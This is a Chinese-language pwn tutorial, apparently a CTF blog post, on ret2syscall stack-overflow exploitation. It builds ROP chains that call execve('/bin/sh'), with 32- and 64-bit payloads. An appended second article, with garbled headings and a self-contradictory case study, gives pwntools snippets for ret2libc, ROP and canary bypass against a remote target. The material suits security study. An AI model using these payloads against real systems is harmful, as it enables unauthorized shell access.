栈溢出漏洞利用二,ret2syscall,构造rop链条实现攻击(pwn入门)

原理

原理就直接参考别的大佬写的文章讲下了

 参考文章:

https://blog.youkuaiyun.com/qq_33948522/article/details/93880812

ret2syscall,即控制程序执行系统调用,获取 shell

ret2syscall通常采用execve(重点函数,32位调用号为0x0b,64位调用号为0x3b)

ROP

Return Oriented Programming,其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

一般的栈结构:
      高地址                          +-----------------+
                                           |     retaddr     |
                                           +-----------------+
                                           |    saved ebp |
                               ebp--->+-----------------+
                                           |                     |
                                           |                     |
                                           |                     |
                                           |                     |
                                           |                     |
                                           |                     |
      低地址               esp-->+-----------------+

Gadgets
以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

ROP 攻击一般得满足如下条件

程序存在溢出,并且可以控制返回地址。
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。

每一个gadgets都含有ret是为了能够使得程序自动持续的选择堆栈中的指令依次执行

ret指令可以理解成取栈顶的数据作为下次跳转的位置。即,

eip = [esp];

esp = esp+4;

ret 修改eip 和 esp的值

或者简单理解成: pop eip; (pop指令会附加esp的移动,意思是取栈顶的数据作为下次跳转的位置)然后执行 jump

相比之下,call指令即 :push eip;(此时eip为call指令的下一条指令的地址,意思是将call指令的下一条指令地址压入栈) 然后 jump

函数返回时通常会执行下列指令

mov esp ,ebp
pop ebp  上述两条指令使ebp , esp指向原来的栈,此时esp指向返回地址
ret      使eip变为返回地址,然后jmp
Linux系统调用的实现
Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。操作系统实现系统调用的基本过程是:

应用程序调用库函数(API);
API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
中断处理函数返回到 API 中;
API 将 EAX 返回给应用程序。
应用程序调用系统调用的过程是:

把系统调用的编号存入 EAX;
把函数参数存入其它通用寄存器;
触发 0x80 号中断(int 0x80)。
Syscall的函数调用规范为:execve(“/bin/sh”, 0,0);

所以,eax = 0xb | ebx = address 0f ‘/bin/sh’ | ecx = 0 | edx = 0

它对应的汇编代码为:

pop eax# 系统调用号载入, execve为0xb,在linux系统中,函数的调用是有一个系统调用号的。我们实验要调用的execve("/bin/sh",null,null)函数其系统调用号是11,即十六进制0xb。
pop ebx# 第一个参数, /bin/sh的string
pop ecx# 第二个参数,0
pop edx# 第三个参数,0
int 0x80

 可以理解为拼接成一个系统调用的栈。

eaxebxecxedx中带入指定的参数拼接成关键的系统函数,最后在寻找int 0x80的地址,从而执行这些函数.

顺序

32位

eax->edx->ecx->ebx

64位

rdi->rsi->rdx->rcx->r8->r9

实战

以32位的举例子吧

例行检查,开了NX保护,给了一次输入,静态链接

IDA分析,存在/bin/sh字符串

根据上面的分析,可以确定就是使用ret2syscall的攻击手法了

使用ROPgadget工具抓取需要的值

按照上面原理的分析构造payload

payload = b'a'*padding+p32(pop_eax_ret)+p32(0xb)+ p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh)+p32(int_0x80)

发送这串payload就可以把程序打下来提权了

至于64位的就是传参的顺序变了,其实大体的思路也是一样的。

如果真的理解了上面的原理,是可以自己写出来,可以和下面的payload对比一下

64位的payload

直接给出payload:

payload = b'a'* padding + p64(rax_ret)+ p64(0x3b) + p64(rdi_ret)+ p64(binsh_addr)+ p64(rdx_rsi_ret)+ p64(0)+ p64(0) + p64(syscall_ret) + p64(0)

写在最后:

有点时候不存在/bin/sh字符串也是可以用这种攻击手法打的,就是使用read函数把/bin/sh写入.bss段,也可以控制程序执行系统调用,获取 shell。

### CTF PWN 栈溢出题目解题思路与漏洞利用教程 #### 一、栈溢出基础概念 栈溢出是一种常见的内存错误,当程序试图向栈中写入的数据量超过了分配给该变量的空间时就会发生。这种情况下,额外的数据会覆盖相邻的内存区域,可能导致程序行为异常甚至崩溃。在CTF竞赛中的PWN挑战里,攻击者可以巧妙地利用这一特性来改变程序执行流程,达到任意代码执行的目的。 #### 、常见技术手段及其应用场景 ##### (一)Return-to-libc (ret2libc) 这种方法适用于目标系统启用了NX保护的情况,在此条件下直接注入Shellcode变得不可行。通过精心构造输入数据,使得函数返回后跳转至`libc`库内的某个有用功能(如`system()`),并传递合适的参数指向环境变量或其他置存储的命令字符串(通常是`/bin/sh`)。这种方式不需要实际执行自定义机器码就能完成提权操作[^3]。 ```python from pwn import * # 建立连接 conn = remote('target_ip', port) # 构造payload offset_to_return_address = b'A' * offset_length address_of_system_function = pack(system_addr, 'little') argument_for_system_call = pack(bin_sh_string_addr, 'little') final_payload = offset_to_return_address + address_of_system_function + argument_for_system_call # 发送载荷触发漏洞 conn.send(final_payload) # 进入交互模式等待进一步指令 conn.interactive() ``` ##### ()Return-Oriented Programming (ROP) 对于开启了ASLR(Address Space Layout Randomization)机制的目标而言,单纯依靠固定的地址难以稳定工作。此时可采用ROP链的方式绕过这些限制。具体做法是从现有进制文件或共享库中挑选一系列短小精悍的小工具(gadgets),它们各自负责一小部分任务;然后按照一定顺序串联起来形成完整的恶意逻辑序列。最终目的是调用能够创建新进程或者打开shell等功能的方法[^1]。 ```python rop_chain = ROP(binary_path_or_elf_object) # 添加gadget到rop chain中... rop_chain.raw(pack(pop_rdi_gadget)) rop_chain.raw(pack(command_arg)) rop_chain.call(target_function_name) exploit_code = cyclic(offset_before_retaddr) + str(rop_chain) ``` ##### (三)Bypassing Canary Protection 现代操作系统为了防止缓冲区越界读取引发的安全隐患引入了canaries随机数作为屏障放置于局部数组之后但在保存下来的基址指针之前的置上。一旦检测到canary值被篡改,则立即终止应用程序以防事态扩大。然而如果能事先获知其确切数值的话还是有机会突破防线继续实施后续动作。可以通过格式化串漏洞或者其他途径间接获取canary的具体值。 ```python leaked_canary_value = u64(leak_response[-8:].ljust(8,b'\x00')) forgery_input = flat({ padding_len: leaked_canary_value, return_addr_offset: target_func_ptr }) ``` #### 三、实战案例分析 以一道典型的CTF PWN题目为例说明整个过程: 假设有一个存在栈溢出缺陷的服务端应用正在监听网络请求,它接受客户端发送过来的一条消息并将其打印出来。经过初步逆向工程得知其中确实隐藏着一处危险点允许外部操控EIP寄存器的内容。考虑到服务器部署环境中已经禁用了execve syscall以及所有形式的动态加载模块访问权限,因此决定采取基于静态链接版本下的return-oriented programming策略来进行破解尝试。 首先定到了几个关键性的辅助函数入口地址,包括但不限于`read()`, `write()`, 和最重要的`dup2()`用于重定向标准I/O描述符以便后期建立反向外连通道。接着便是着手准备必要的Rop Chain组件,这里涉及到多次试探性查询直至完全掌握堆栈布局细节为止。最后一步就是组合成完整有效的Payload并通过socket接口投递给远端主机上的易受攻击服务实例上去验证效果如何。
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